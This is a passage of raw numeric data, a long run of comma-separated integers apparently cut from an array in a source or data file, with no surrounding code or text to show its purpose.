480, 481, 482, 483,\n    484, 485, 486, 487, 488, 425, 489, 490,\n    491, 492, 493, 494, 425, 470, 425, 418,\n    419, 418, 419, 419, 418, 418, 419, 418,\n    418, 418, 418, 419, 418, 418, 418, 418,\n    418, 419, 418, 418, 418, 418, 418, 419,\n    419, 419, 419, 419, 418, 418, 418, 419,\n    418, 418, 418, 419, 419, 419, 418, 418,\n    418, 419, 419, 418, 418, 418, 419, 419,\n    419, 418, 418, 418, 419, 419, 419, 419,\n    418, 419, 419, 419, 419, 418, 418, 418,\n    418, 418, 419, 419, 419, 419, 418, 418,\n    419, 419, 419, 418, 418, 419, 419, 419,\n    419, 418, 419, 419, 418, 419, 419, 418,\n    418, 418, 419, 419, 419, 418, 418, 418,\n    418, 419, 419, 419, 419, 419, 418, 418,\n    418, 418, 419, 418, 419, 419, 418, 419,\n    419, 418, 419, 418, 419, 419, 419, 418,\n    419, 419, 418, 418, 418, 419, 418, 418,\n    418, 418, 418, 418, 418, 419, 419, 419,\n    419, 418, 419, 419, 419, 419, 419, 419,\n    419, 418, 495, 496, 497, 498, 499, 500,\n    501, 502, 503, 425, 504, 505, 506, 507,\n    508, 418, 419, 418, 418, 418, 418, 418,\n    419, 419, 418, 419, 419, 419, 418, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 418, 419, 419, 419, 418, 418, 419,\n    419, 419, 418, 418, 419, 418, 418, 419,\n    419, 419, 419, 419, 418, 418, 418, 418,\n    419, 419, 419, 419, 419, 419, 418, 419,\n    419, 419, 419, 419, 418, 509, 464, 510,\n    511, 512, 425, 513, 514, 470, 425, 418,\n    419, 419, 419, 419, 418, 418, 418, 419,\n    418, 418, 419, 419, 419, 418, 418, 418,\n    419, 419, 418, 475, 418, 470, 425, 425,\n    515, 418, 425, 418, 419, 470, 516, 517,\n    470, 518, 519, 470, 520, 521, 522, 523,\n    524, 525, 470, 526, 527, 528, 470, 529,\n    530, 531, 489, 532, 533, 534, 489, 535,\n    470, 425, 418, 418, 419, 419, 418, 418,\n    418, 419, 419, 419, 419, 418, 419, 419,\n    418, 418, 418, 418, 419, 419, 418, 418,\n    419, 419, 418, 418, 418, 418, 418, 418,\n    419, 419, 419, 418, 418, 418, 419, 418,\n    418, 418, 419, 419, 418, 419, 419, 419,\n    419, 418, 419, 419, 419, 419, 418, 419,\n    419, 419, 419, 419, 419, 418, 418, 418,\n    419, 419, 419, 419, 418, 536, 537, 418,\n    425, 418, 419, 418, 418, 419, 470, 538,\n    539, 540, 541, 520, 542, 543, 544, 545,\n    546, 547, 548, 549, 550, 551, 552, 553,\n    425, 418, 418, 419, 418, 419, 419, 419,\n    419, 419, 419, 419, 418, 419, 419, 419,\n    418, 419, 418, 418, 419, 418, 419, 418,\n    418, 419, 419, 419, 419, 418, 419, 419,\n    419, 418, 418, 419, 419, 419, 419, 418,\n    419, 419, 418, 418, 419, 419, 419, 419,\n    419, 418, 554, 555, 556, 557, 558, 559,\n    560, 561, 562, 563, 564, 560, 566, 567,\n    568, 569, 565, 418, 570, 571, 470, 572,\n    573, 574, 575, 576, 577, 578, 579, 580,\n    470, 425, 581, 582, 583, 584, 470, 585,\n    586, 587, 588, 589, 590, 591, 592, 593,\n    594, 595, 596, 597, 598, 599, 470, 501,\n    425, 600, 418, 419, 419, 419, 419, 419,\n    418, 418, 418, 419, 418, 419, 419, 418,\n    419, 418, 419, 419, 418, 418, 418, 419,\n    419, 419, 418, 418, 418, 419, 419, 419,\n    418, 418, 418, 418, 419, 418, 418, 419,\n    418, 418, 419, 419, 419, 418, 418, 419,\n    418, 419, 419, 419, 418, 419, 419, 419,\n    419, 419, 419, 418, 418, 418, 419, 419,\n    418, 419, 419, 418, 419, 419, 418, 419,\n    419, 418, 419, 419, 419, 419, 419, 419,\n    419, 418, 419, 418, 419, 418, 419, 419,\n    418, 419, 418, 419, 419, 418, 419, 418,\n    419, 418, 601, 572, 602, 603, 604, 605,\n    606, 607, 608, 609, 610, 453, 611, 470,\n    612, 613, 614, 470, 615, 485, 616, 617,\n    618, 619, 620, 621, 622, 623, 470, 418,\n    418, 418, 419, 419, 419, 418, 419, 419,\n    418, 419, 419, 418, 418, 418, 418, 418,\n    419, 419, 419, 419, 418, 419, 419, 419,\n    419, 419, 419, 418, 418, 418, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 418,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    418, 419, 419, 418, 418, 418, 418, 419,\n    419, 419, 418, 418, 418, 419, 418, 418,\n    418, 419, 419, 418, 419, 419, 419, 418,\n    419, 418, 418, 418, 419, 419, 418, 419,\n    419, 419, 418, 419, 419, 419, 418, 418,\n    418, 418, 419, 470, 539, 624, 625, 425,\n    470, 425, 418, 418, 419, 418, 419, 470,\n    624, 425, 418, 470, 626, 425, 418, 418,\n    419, 470, 627, 628, 629, 530, 630, 631,\n    470, 632, 633, 634, 425, 418, 418, 419,\n    419, 419, 418, 419, 419, 418, 419, 419,\n    419, 419, 418, 418, 419, 418, 418, 419,\n    419, 418, 419, 418, 470, 425, 418, 635,\n    470, 636, 418, 425, 418, 419, 418, 419,\n    637, 470, 638, 639, 418, 419, 418, 418,\n    418, 419, 419, 419, 419, 418, 640, 641,\n    642, 470, 643, 644, 645, 646, 647, 648,\n    649, 650, 651, 652, 653, 654, 655, 656,\n    425, 418, 419, 419, 419, 418, 418, 418,\n    418, 419, 419, 418, 418, 419, 418, 418,\n    418, 418, 418, 418, 418, 419, 418, 419,\n    418, 418, 418, 418, 418, 418, 419, 419,\n    419, 419, 419, 418, 418, 419, 418, 418,\n    418, 419, 418, 418, 419, 418, 418, 419,\n    418, 418, 419, 418, 418, 418, 419, 419,\n    419, 418, 418, 418, 419, 419, 419, 419,\n    418, 657, 470, 658, 470, 659, 660, 661,\n    662, 425, 418, 419, 419, 419, 419, 419,\n    418, 418, 418, 419, 418, 418, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    418, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 419, 419, 419, 419,\n    419, 419, 419, 419, 418, 419, 419, 419,\n    419, 419, 418, 663, 470, 425, 418, 419,\n    664, 470, 455, 425, 418, 419, 665, 418,\n    425, 418, 419, 470, 666, 425, 418, 418,\n    419, 667, 418, 470, 668, 425, 418, 418,\n    419, 670, 669, 419, 419, 419, 419, 670,\n    669, 419, 670, 669, 670, 670, 419, 670,\n    669, 419, 670, 419, 670, 669, 419, 670,\n    419, 670, 419, 669, 670, 670, 670, 670,\n    670, 670, 670, 670, 669, 419, 419, 670,\n    670, 419, 670, 419, 670, 669, 670, 670,\n    670, 670, 670, 419, 670, 419, 670, 419,\n    670, 669, 670, 670, 419, 670, 419, 670,\n    669, 670, 670, 670, 670, 670, 419, 670,\n    419, 670, 669, 419, 419, 670, 419, 670,\n    669, 670, 670, 670, 419, 670, 419, 670,\n    419, 670, 419, 670, 669, 670, 419, 670,\n    419, 670, 669, 419, 670, 670, 670, 670,\n    419, 670, 419, 670, 419, 670, 419, 670,\n    419, 670, 419, 670, 669, 419, 670, 669,\n    670, 670, 670, 419, 670, 419, 670, 669,\n    670, 419, 670, 419, 670, 669, 419, 670,\n    670, 670, 670, 419, 670, 419, 670, 669,\n    419, 670, 419, 670, 419, 670, 669, 670,\n    670, 419, 670, 419, 670, 669, 419, 670,\n    419, 670, 419, 670, 419, 669, 670, 670,\n    670, 419, 670, 419, 670, 669, 419, 670,\n    669, 670, 670, 419, 670, 669, 670, 670,\n    670, 419, 670, 670, 670, 670, 670, 670,\n    419, 419, 670, 419, 670, 419, 670, 419,\n    670, 669, 670, 419, 670, 419, 670, 669,\n    419, 670, 669, 670, 419, 670, 669, 670,\n    419, 670, 669, 419, 419, 670, 669, 419,\n    670, 419, 670, 419, 670, 419, 670, 419,\n    670, 419, 669, 670, 670, 419, 670, 670,\n    670, 670, 419, 419, 670, 670, 670, 670,\n    670, 419, 670, 670, 670, 670, 670, 669,\n    419, 670, 670, 419, 670, 419, 669, 670,\n    670, 419, 670, 669, 419, 419, 670, 419,\n    669, 670, 670, 669, 419, 670, 419, 669,\n    670, 669, 419, 670, 419, 670, 419, 669,\n    670, 670, 669, 419, 670, 419, 670, 419,\n    670, 669, 670, 419, 670, 419, 670, 669,\n    419, 670, 669, 419, 419, 670, 669, 670,\n    419, 669, 670, 669, 419, 670, 419, 670,\n    419, 669, 670, 669, 419, 419, 670, 669,\n    670, 419, 670, 419, 670, 669, 419, 670,\n    419, 669, 670, 669, 419, 419, 670, 419,\n    669, 670, 669, 419, 419, 670, 669, 670,\n    419, 670, 669, 670, 419, 670, 669, 670,\n    419, 670, 419, 670, 419, 669, 670, 669,\n    419, 419, 670, 669, 670, 419, 670, 419,\n    670, 669, 419, 670, 669, 670, 670, 419,\n    670, 419, 670, 669, 669, 419, 669, 419,\n    670, 670, 419, 670, 670, 670, 670, 670,\n    670, 670, 669, 419, 670, 670, 670, 419,\n    669, 670, 670, 670, 419, 670, 419, 670,\n    419, 670, 419, 670, 419, 670, 669, 419,\n    419, 670, 669, 670, 419, 670, 669, 419,\n    419, 670, 419, 419, 419, 670, 419, 670,\n    419, 670, 419, 670, 419, 669, 419, 670,\n    419, 670, 419, 669, 670, 669, 419, 670,\n    419, 669, 670, 419, 670, 670, 670, 669,\n    419, 670, 419, 419, 670, 419, 669, 670,\n    670, 669, 419, 670, 670, 670, 670, 419,\n    670, 419, 669, 670, 670, 670, 419, 670,\n    669, 670, 419, 670, 419, 670, 419, 670,\n    419, 670, 669, 670, 670, 419, 670, 669,\n    419, 670, 419, 670, 419, 669, 670, 670,\n    669, 419, 670, 419, 669, 670, 669, 419,\n    670, 669, 419, 670, 419, 670, 669, 670,\n    670, 670, 669, 419, 419, 419, 670, 669,\n    419, 670, 419, 669, 670, 669, 419, 670,\n    419, 670, 419, 669, 670, 670, 670, 669,\n    419, 670, 419, 669, 670, 670, 670, 670,\n    669, 419, 670, 419, 670, 669, 419, 419,\n    670, 419, 670, 669, 670, 419, 670, 419,\n    669, 670, 670, 669, 419, 670, 419, 670,\n    669, 419, 670, 670, 670, 419, 670, 419,\n    669, 419, 670, 669, 670, 419, 419, 670,\n    419, 670, 419, 669, 670, 670, 670, 670,\n    669, 419, 670, 419, 670, 419, 670, 419,\n    670, 419, 670, 669, 670, 670, 670, 419,\n    670, 419, 670, 419, 670, 419, 669, 670,\n    670, 419, 419, 670, 669, 670, 419, 670,\n    670, 669, 419, 670, 419, 670, 669, 419,\n    419, 670, 670, 670, 670, 419, 670, 419,\n    670, 419, 669, 670, 670, 419, 669, 670,\n    669, 419, 670, 419, 669, 670, 669, 419,\n    670, 419, 669, 670, 419, 670, 670, 669,\n    419, 670, 670, 419, 669, 670, 669, 419,\n    670, 419, 670, 669, 670, 419, 670, 419,\n    669, 670, 669, 419, 670, 419, 670, 419,\n    670, 419, 670, 419, 670, 669, 671, 669,\n    672, 673, 674, 675, 676, 677, 678, 679,\n    680, 681, 682, 674, 683, 684, 685, 686,\n    687, 674, 688, 689, 690, 691, 692, 693,\n    694, 695, 696, 697, 698, 699, 700, 701,\n    702, 674, 703, 671, 683, 671, 704, 671,\n    669, 670, 670, 670, 670, 419, 669, 670,\n    670, 669, 419, 670, 669, 419, 419, 670,\n    669, 419, 670, 419, 669, 670, 669, 419,\n    419, 670, 419, 669, 670, 670, 669, 419,\n    670, 670, 670, 669, 419, 670, 419, 670,\n    670, 669, 419, 419, 670, 419, 669, 670,\n    669, 419, 670, 669, 419, 419, 670, 419,\n    670, 669, 419, 670, 419, 419, 670, 419,\n    670, 419, 669, 670, 670, 669, 419, 670,\n    670, 419, 670, 669, 419, 670, 419, 670,\n    669, 419, 670, 419, 669, 419, 670, 670,\n    670, 419, 670, 669, 670, 419, 670, 669,\n    419, 670, 669, 670, 419, 670, 669, 419,\n    670, 669, 419, 670, 419, 670, 669, 419,\n    670, 669, 419, 670, 669, 705, 706, 707,\n    708, 709, 710, 711, 712, 713, 714, 715,\n    716, 676, 717, 718, 719, 720, 721, 718,\n    722, 723, 724, 725, 726, 727, 728, 729,\n    730, 671, 669, 670, 419, 670, 669, 670,\n    419, 670, 669, 670, 419, 670, 669, 670,\n    419, 670, 669, 419, 670, 419, 670, 669,\n    670, 419, 670, 669, 670, 419, 419, 419,\n    670, 669, 670, 419, 670, 669, 670, 670,\n    670, 670, 419, 670, 419, 669, 670, 669,\n    419, 419, 670, 419, 670, 669, 670, 419,\n    670, 669, 419, 670, 669, 670, 670, 419,\n    670, 669, 419, 670, 669, 670, 419, 670,\n    669, 419, 670, 669, 419, 670, 669, 419,\n    670, 669, 670, 669, 419, 419, 670, 669,\n    670, 419, 670, 669, 419, 670, 419, 669,\n    670, 669, 419, 674, 731, 671, 674, 732,\n    674, 733, 683, 671, 669, 670, 669, 419,\n    670, 669, 419, 674, 732, 683, 671, 669,\n    674, 734, 671, 683, 671, 669, 670, 669,\n    419, 674, 735, 692, 736, 718, 737, 730,\n    674, 738, 739, 740, 671, 683, 671, 669,\n    670, 669, 419, 670, 419, 670, 669, 419,\n    670, 419, 670, 419, 669, 670, 670, 669,\n    419, 670, 419, 670, 669, 419, 670, 669,\n    674, 683, 425, 669, 741, 674, 742, 683,\n    671, 669, 425, 670, 669, 419, 670, 669,\n    419, 743, 674, 744, 745, 671, 669, 419,\n    670, 669, 670, 670, 669, 419, 419, 670,\n    419, 670, 669, 674, 746, 747, 748, 749,\n    750, 751, 752, 753, 754, 755, 756, 671,\n    683, 671, 669, 670, 419, 670, 670, 670,\n    670, 670, 670, 670, 419, 670, 419, 670,\n    670, 670, 670, 670, 670, 669, 419, 670,\n    670, 419, 670, 419, 669, 670, 419, 670,\n    670, 670, 419, 670, 670, 419, 670, 670,\n    419, 670, 670, 419, 670, 670, 669, 419,\n    674, 757, 674, 733, 758, 759, 760, 671,\n    683, 671, 669, 670, 669, 419, 670, 670,\n    670, 419, 670, 670, 670, 419, 670, 419,\n    670, 669, 419, 419, 419, 419, 670, 670,\n    419, 419, 419, 419, 419, 670, 670, 670,\n    670, 670, 670, 670, 419, 670, 419, 670,\n    419, 669, 670, 670, 670, 419, 670, 419,\n    670, 669, 683, 425, 761, 674, 683, 425,\n    670, 669, 419, 762, 674, 763, 683, 425,\n    670, 669, 419, 670, 419, 764, 683, 671,\n    669, 425, 670, 669, 419, 674, 765, 671,\n    683, 671, 669, 670, 669, 419, 766, 766,\n    766, 768, 769, 770, 766, 767, 767, 771,\n    768, 771, 769, 771, 767, 772, 773, 772,\n    775, 774, 776, 774, 777, 774, 779, 778,\n    781, 782, 780, 781, 783, 780, 785, 784,\n    786, 784, 787, 784, 789, 788, 791, 792,\n    790, 791, 793, 790, 795, 795, 795, 795,\n    794, 795, 795, 795, 794, 795, 794, 795,\n    795, 794, 794, 794, 794, 794, 794, 795,\n    794, 794, 794, 794, 795, 795, 795, 795,\n    795, 794, 794, 795, 794, 794, 795, 794,\n    795, 794, 794, 795, 794, 794, 794, 795,\n    795, 795, 795, 795, 795, 794, 795, 795,\n    794, 795, 795, 794, 794, 794, 794, 794,\n    794, 795, 795, 794, 794, 795, 794, 795,\n    795, 795, 794, 797, 798, 799, 800, 801,\n    802, 803, 804, 805, 806, 807, 808, 809,\n    810, 811, 812, 813, 814, 815, 816, 817,\n    818, 819, 820, 821, 822, 823, 824, 825,\n    826, 827, 828, 794, 795, 794, 795, 794,\n    795, 795, 794, 795, 795, 794, 794, 794,\n    795, 794, 794, 794, 794, 794, 794, 794,\n    795, 794, 794, 794, 794, 794, 794, 794,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 794, 794, 794, 794, 794,\n    794, 794, 794, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 794, 794, 794, 794,\n    794, 794, 794, 794, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 794, 795, 795,\n    795, 795, 795, 795, 795, 795, 794, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 794, 795, 795, 795, 795, 795,\n    795, 794, 795, 795, 795, 795, 795, 795,\n    794, 794, 794, 794, 794, 794, 794, 794,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    794, 795, 795, 795, 795, 795, 795, 795,\n    795, 794, 795, 795, 795, 795, 795, 794,\n    794, 794, 794, 794, 794, 794, 794, 795,\n    795, 795, 795, 795, 795, 794, 795, 795,\n    795, 795, 795, 795, 795, 794, 795, 794,\n    795, 795, 794, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    794, 795, 795, 795, 795, 795, 794, 795,\n    795, 795, 795, 795, 795, 795, 794, 795,\n    795, 795, 794, 795, 795, 795, 794, 795,\n    794, 829, 830, 831, 832, 833, 834, 835,\n    836, 837, 838, 839, 840, 841, 842, 843,\n    844, 845, 846, 847, 848, 849, 850, 851,\n    852, 853, 854, 855, 856, 857, 858, 859,\n    860, 861, 862, 863, 864, 801, 865, 866,\n    867, 868, 869, 870, 801, 846, 801, 794,\n    795, 794, 795, 795, 794, 794, 795, 794,\n    794, 794, 794, 795, 794, 794, 794, 794,\n    794, 795, 794, 794, 794, 794, 794, 795,\n    795, 795, 795, 795, 794, 794, 794, 795,\n    794, 794, 794, 795, 795, 795, 794, 794,\n    794, 795, 795, 794, 794, 794, 795, 795,\n    795, 794, 794, 794, 795, 795, 795, 795,\n    794, 795, 795, 795, 795, 794, 794, 794,\n    794, 794, 795, 795, 795, 795, 794, 794,\n    795, 795, 795, 794, 794, 795, 795, 795,\n    795, 794, 795, 795, 794, 795, 795, 794,\n    794, 794, 795, 795, 795, 794, 794, 794,\n    794, 795, 795, 795, 795, 795, 794, 794,\n    794, 794, 795, 794, 795, 795, 794, 795,\n    795, 794, 795, 794, 795, 795, 795, 794,\n    795, 795, 794, 794, 794, 795, 794, 794,\n    794, 794, 794, 794, 794, 795, 795, 795,\n    795, 794, 795, 795, 795, 795, 795, 795,\n    795, 794, 871, 872, 873, 874, 875, 876,\n    877, 878, 879, 801, 880, 881, 882, 883,\n    884, 794, 795, 794, 794, 794, 794, 794,\n    795, 795, 794, 795, 795, 795, 794, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 794, 795, 795, 795, 794, 794, 795,\n    795, 795, 794, 794, 795, 794, 794, 795,\n    795, 795, 795, 795, 794, 794, 794, 794,\n    795, 795, 795, 795, 795, 795, 794, 795,\n    795, 795, 795, 795, 794, 885, 840, 886,\n    887, 888, 801, 889, 890, 846, 801, 794,\n    795, 795, 795, 795, 794, 794, 794, 795,\n    794, 794, 795, 795, 795, 794, 794, 794,\n    795, 795, 794, 851, 794, 846, 801, 801,\n    891, 794, 801, 794, 795, 846, 892, 893,\n    846, 894, 895, 846, 896, 897, 898, 899,\n    900, 901, 846, 902, 903, 904, 846, 905,\n    906, 907, 865, 908, 909, 910, 865, 911,\n    846, 801, 794, 794, 795, 795, 794, 794,\n    794, 795, 795, 795, 795, 794, 795, 795,\n    794, 794, 794, 794, 795, 795, 794, 794,\n    795, 795, 794, 794, 794, 794, 794, 794,\n    795, 795, 795, 794, 794, 794, 795, 794,\n    794, 794, 795, 795, 794, 795, 795, 795,\n    795, 794, 795, 795, 795, 795, 794, 795,\n    795, 795, 795, 795, 795, 794, 794, 794,\n    795, 795, 795, 795, 794, 912, 913, 794,\n    801, 794, 795, 794, 794, 795, 846, 914,\n    915, 916, 917, 896, 918, 919, 920, 921,\n    922, 923, 924, 925, 926, 927, 928, 929,\n    801, 794, 794, 795, 794, 795, 795, 795,\n    795, 795, 795, 795, 794, 795, 795, 795,\n    794, 795, 794, 794, 795, 794, 795, 794,\n    794, 795, 795, 795, 795, 794, 795, 795,\n    795, 794, 794, 795, 795, 795, 795, 794,\n    795, 795, 794, 794, 795, 795, 795, 795,\n    795, 794, 930, 931, 932, 933, 934, 935,\n    936, 937, 938, 939, 940, 936, 942, 943,\n    944, 945, 941, 794, 946, 947, 846, 948,\n    949, 950, 951, 952, 953, 954, 955, 956,\n    846, 801, 957, 958, 959, 960, 846, 961,\n    962, 963, 964, 965, 966, 967, 968, 969,\n    970, 971, 972, 973, 974, 975, 846, 877,\n    801, 976, 794, 795, 795, 795, 795, 795,\n    794, 794, 794, 795, 794, 795, 795, 794,\n    795, 794, 795, 795, 794, 794, 794, 795,\n    795, 795, 794, 794, 794, 795, 795, 795,\n    794, 794, 794, 794, 795, 794, 794, 795,\n    794, 794, 795, 795, 795, 794, 794, 795,\n    794, 795, 795, 795, 794, 795, 795, 795,\n    795, 795, 795, 794, 794, 794, 795, 795,\n    794, 795, 795, 794, 795, 795, 794, 795,\n    795, 794, 795, 795, 795, 795, 795, 795,\n    795, 794, 795, 794, 795, 794, 795, 795,\n    794, 795, 794, 795, 795, 794, 795, 794,\n    795, 794, 977, 948, 978, 979, 980, 981,\n    982, 983, 984, 985, 986, 829, 987, 846,\n    988, 989, 990, 846, 991, 861, 992, 993,\n    994, 995, 996, 997, 998, 999, 846, 794,\n    794, 794, 795, 795, 795, 794, 795, 795,\n    794, 795, 795, 794, 794, 794, 794, 794,\n    795, 795, 795, 795, 794, 795, 795, 795,\n    795, 795, 795, 794, 794, 794, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 794,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    794, 795, 795, 794, 794, 794, 794, 795,\n    795, 795, 794, 794, 794, 795, 794, 794,\n    794, 795, 795, 794, 795, 795, 795, 794,\n    795, 794, 794, 794, 795, 795, 794, 795,\n    795, 795, 794, 795, 795, 795, 794, 794,\n    794, 794, 795, 846, 915, 1000, 1001, 801,\n    846, 801, 794, 794, 795, 794, 795, 846,\n    1000, 801, 794, 846, 1002, 801, 794, 794,\n    795, 846, 1003, 1004, 1005, 906, 1006, 1007,\n    846, 1008, 1009, 1010, 801, 794, 794, 795,\n    795, 795, 794, 795, 795, 794, 795, 795,\n    795, 795, 794, 794, 795, 794, 794, 795,\n    795, 794, 795, 794, 846, 801, 794, 1011,\n    846, 1012, 794, 801, 794, 795, 794, 795,\n    1013, 846, 1014, 1015, 794, 795, 794, 794,\n    794, 795, 795, 795, 795, 794, 1016, 1017,\n    1018, 846, 1019, 1020, 1021, 1022, 1023, 1024,\n    1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032,\n    801, 794, 795, 795, 795, 794, 794, 794,\n    794, 795, 795, 794, 794, 795, 794, 794,\n    794, 794, 794, 794, 794, 795, 794, 795,\n    794, 794, 794, 794, 794, 794, 795, 795,\n    795, 795, 795, 794, 794, 795, 794, 794,\n    794, 795, 794, 794, 795, 794, 794, 795,\n    794, 794, 795, 794, 794, 794, 795, 795,\n    795, 794, 794, 794, 795, 795, 795, 795,\n    794, 1033, 846, 1034, 846, 1035, 1036, 1037,\n    1038, 801, 794, 795, 795, 795, 795, 795,\n    794, 794, 794, 795, 794, 794, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    794, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 794, 795, 795, 795,\n    795, 795, 794, 1039, 846, 801, 794, 795,\n    1040, 846, 831, 801, 794, 795, 1041, 794,\n    801, 794, 795, 846, 1042, 801, 794, 794,\n    795, 1043, 794, 846, 1044, 801, 794, 794,\n    795, 1046, 1045, 795, 795, 795, 795, 1046,\n    1045, 795, 1046, 1045, 1046, 1046, 795, 1046,\n    1045, 795, 1046, 795, 1046, 1045, 795, 1046,\n    795, 1046, 795, 1045, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1045, 795, 795, 1046,\n    1046, 795, 1046, 795, 1046, 1045, 1046, 1046,\n    1046, 1046, 1046, 795, 1046, 795, 1046, 795,\n    1046, 1045, 1046, 1046, 795, 1046, 795, 1046,\n    1045, 1046, 1046, 1046, 1046, 1046, 795, 1046,\n    795, 1046, 1045, 795, 795, 1046, 795, 1046,\n    1045, 1046, 1046, 1046, 795, 1046, 795, 1046,\n    795, 1046, 795, 1046, 1045, 1046, 795, 1046,\n    795, 1046, 1045, 795, 1046, 1046, 1046, 1046,\n    795, 1046, 795, 1046, 795, 1046, 795, 1046,\n    795, 1046, 795, 1046, 1045, 795, 1046, 1045,\n    1046, 1046, 1046, 795, 1046, 795, 1046, 1045,\n    1046, 795, 1046, 795, 1046, 1045, 795, 1046,\n    1046, 1046, 1046, 795, 1046, 795, 1046, 1045,\n    795, 1046, 795, 1046, 795, 1046, 1045, 1046,\n    1046, 795, 1046, 795, 1046, 1045, 795, 1046,\n    795, 1046, 795, 1046, 795, 1045, 1046, 1046,\n    1046, 795, 1046, 795, 1046, 1045, 795, 1046,\n    1045, 1046, 1046, 795, 1046, 1045, 1046, 1046,\n    1046, 795, 1046, 1046, 1046, 1046, 1046, 1046,\n    795, 795, 1046, 795, 1046, 795, 1046, 795,\n    1046, 1045, 1046, 795, 1046, 795, 1046, 1045,\n    795, 1046, 1045, 1046, 795, 1046, 1045, 1046,\n    795, 1046, 1045, 795, 795, 1046, 1045, 795,\n    1046, 795, 1046, 795, 1046, 795, 1046, 795,\n    1046, 795, 1045, 1046, 1046, 795, 1046, 1046,\n    1046, 1046, 795, 795, 1046, 1046, 1046, 1046,\n    1046, 795, 1046, 1046, 1046, 1046, 1046, 1045,\n    795, 1046, 1046, 795, 1046, 795, 1045, 1046,\n    1046, 795, 1046, 1045, 795, 795, 1046, 795,\n    1045, 1046, 1046, 1045, 795, 1046, 795, 1045,\n    1046, 1045, 795, 1046, 795, 1046, 795, 1045,\n    1046, 1046, 1045, 795, 1046, 795, 1046, 795,\n    1046, 1045, 1046, 795, 1046, 795, 1046, 1045,\n    795, 1046, 1045, 795, 795, 1046, 1045, 1046,\n    795, 1045, 1046, 1045, 795, 1046, 795, 1046,\n    795, 1045, 1046, 1045, 795, 795, 1046, 1045,\n    1046, 795, 1046, 795, 1046, 1045, 795, 1046,\n    795, 1045, 1046, 1045, 795, 795, 1046, 795,\n    1045, 1046, 1045, 795, 795, 1046, 1045, 1046,\n    795, 1046, 1045, 1046, 795, 1046, 1045, 1046,\n    795, 1046, 795, 1046, 795, 1045, 1046, 1045,\n    795, 795, 1046, 1045, 1046, 795, 1046, 795,\n    1046, 1045, 795, 1046, 1045, 1046, 1046, 795,\n    1046, 795, 1046, 1045, 1045, 795, 1045, 795,\n    1046, 1046, 795, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1045, 795, 1046, 1046, 1046, 795,\n    1045, 1046, 1046, 1046, 795, 1046, 795, 1046,\n    795, 1046, 795, 1046, 795, 1046, 1045, 795,\n    795, 1046, 1045, 1046, 795, 1046, 1045, 795,\n    795, 1046, 795, 795, 795, 1046, 795, 1046,\n    795, 1046, 795, 1046, 795, 1045, 795, 1046,\n    795, 1046, 795, 1045, 1046, 1045, 795, 1046,\n    795, 1045, 1046, 795, 1046, 1046, 1046, 1045,\n    795, 1046, 795, 795, 1046, 795, 1045, 1046,\n    1046, 1045, 795, 1046, 1046, 1046, 1046, 795,\n    1046, 795, 1045, 1046, 1046, 1046, 795, 1046,\n    1045, 1046, 795, 1046, 795, 1046, 795, 1046,\n    795, 1046, 1045, 1046, 1046, 795, 1046, 1045,\n    795, 1046, 795, 1046, 795, 1045, 1046, 1046,\n    1045, 795, 1046, 795, 1045, 1046, 1045, 795,\n    1046, 1045, 795, 1046, 795, 1046, 1045, 1046,\n    1046, 1046, 1045, 795, 795, 795, 1046, 1045,\n    795, 1046, 795, 1045, 1046, 1045, 795, 1046,\n    795, 1046, 795, 1045, 1046, 1046, 1046, 1045,\n    795, 1046, 795, 1045, 1046, 1046, 1046, 1046,\n    1045, 795, 1046, 795, 1046, 1045, 795, 795,\n    1046, 795, 1046, 1045, 1046, 795, 1046, 795,\n    1045, 1046, 1046, 1045, 795, 1046, 795, 1046,\n    1045, 795, 1046, 1046, 1046, 795, 1046, 795,\n    1045, 795, 1046, 1045, 1046, 795, 795, 1046,\n    795, 1046, 795, 1045, 1046, 1046, 1046, 1046,\n    1045, 795, 1046, 795, 1046, 795, 1046, 795,\n    1046, 795, 1046, 1045, 1046, 1046, 1046, 795,\n    1046, 795, 1046, 795, 1046, 795, 1045, 1046,\n    1046, 795, 795, 1046, 1045, 1046, 795, 1046,\n    1046, 1045, 795, 1046, 795, 1046, 1045, 795,\n    795, 1046, 1046, 1046, 1046, 795, 1046, 795,\n    1046, 795, 1045, 1046, 1046, 795, 1045, 1046,\n    1045, 795, 1046, 795, 1045, 1046, 1045, 795,\n    1046, 795, 1045, 1046, 795, 1046, 1046, 1045,\n    795, 1046, 1046, 795, 1045, 1046, 1045, 795,\n    1046, 795, 1046, 1045, 1046, 795, 1046, 795,\n    1045, 1046, 1045, 795, 1046, 795, 1046, 795,\n    1046, 795, 1046, 795, 1046, 1045, 1047, 1045,\n    1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055,\n    1056, 1057, 1058, 1050, 1059, 1060, 1061, 1062,\n    1063, 1050, 1064, 1065, 1066, 1067, 1068, 1069,\n    1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077,\n    1078, 1050, 1079, 1047, 1059, 1047, 1080, 1047,\n    1045, 1046, 1046, 1046, 1046, 795, 1045, 1046,\n    1046, 1045, 795, 1046, 1045, 795, 795, 1046,\n    1045, 795, 1046, 795, 1045, 1046, 1045, 795,\n    795, 1046, 795, 1045, 1046, 1046, 1045, 795,\n    1046, 1046, 1046, 1045, 795, 1046, 795, 1046,\n    1046, 1045, 795, 795, 1046, 795, 1045, 1046,\n    1045, 795, 1046, 1045, 795, 795, 1046, 795,\n    1046, 1045, 795, 1046, 795, 795, 1046, 795,\n    1046, 795, 1045, 1046, 1046, 1045, 795, 1046,\n    1046, 795, 1046, 1045, 795, 1046, 795, 1046,\n   